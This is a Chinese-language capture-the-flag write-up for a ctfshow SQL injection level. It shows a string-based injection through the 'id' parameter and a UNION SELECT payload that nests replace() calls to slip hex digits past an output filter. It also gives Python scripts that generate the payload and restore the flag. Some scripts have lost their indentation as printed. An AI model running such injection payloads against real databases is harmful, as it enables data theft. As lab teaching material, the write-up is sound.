题目给出了查询语句和返回逻辑
先看查询语句
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
这里能直接看出来是使用单引号进行绕过
是一个字符型注入
继续,查看返回逻辑
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
这里如果返回数据中包含 `flag` 字样,或者包含数字0-9,则不会输出
这里的话有两种方法,第一种方法是盲注
这里不作介绍
这里介绍第二种更为取巧的方式
做字符替换
我们已知 flag 中只包含16进制数
也就是0-9 a-f
那么我们可以将 0替换为g
0->g
1->h
...
以此类推
好的,那么按照这个思路,要么写个脚本生成payload
要么自己一点一点手写
这里给出脚本
i = 0
s = f"replace(password,{i},'{chr(ord(str(i)) + 55)}')"
for i in range(1,10):
s = f"replace({s},{i},'{chr(ord(str(i)) + 55)}')"
print(s)
如果需要脚本思路的话可以留言
我就再写一篇分享思路的
上面的代码需要python版本3.6以上
这种格式写起来代码运行效率高且看起来容易
这里再给一段低版本的代码
s = "replace(password,{},'{}')".format(i, chr(ord(str(i)) + 55))
for i in range(1, 10):
s = "replace({},{},'{}')".format(s, i, chr(ord(str(i)) + 55))
print(s)
生成的payload长这样
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p')
然后我们把这个拼接到注入语句内
' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4 -- qwe
最后,再把得到的flag复原
flag = 'ctfshow{dibcehal-abdb-kkhj-pplb-fddaleiohcgk}'
for i in range(10):
flag = flag.replace(chr(ord(str(i)) + 55), str(i))
print(str(i), chr(ord(str(i)) + 55))
print(flag)
复原之后
前缀 ctfshow 也被更改了
这里手动改一下改回来即可
因为flag每次打开环境都不一样
所以这里flag我就直接发出来了,也不影响。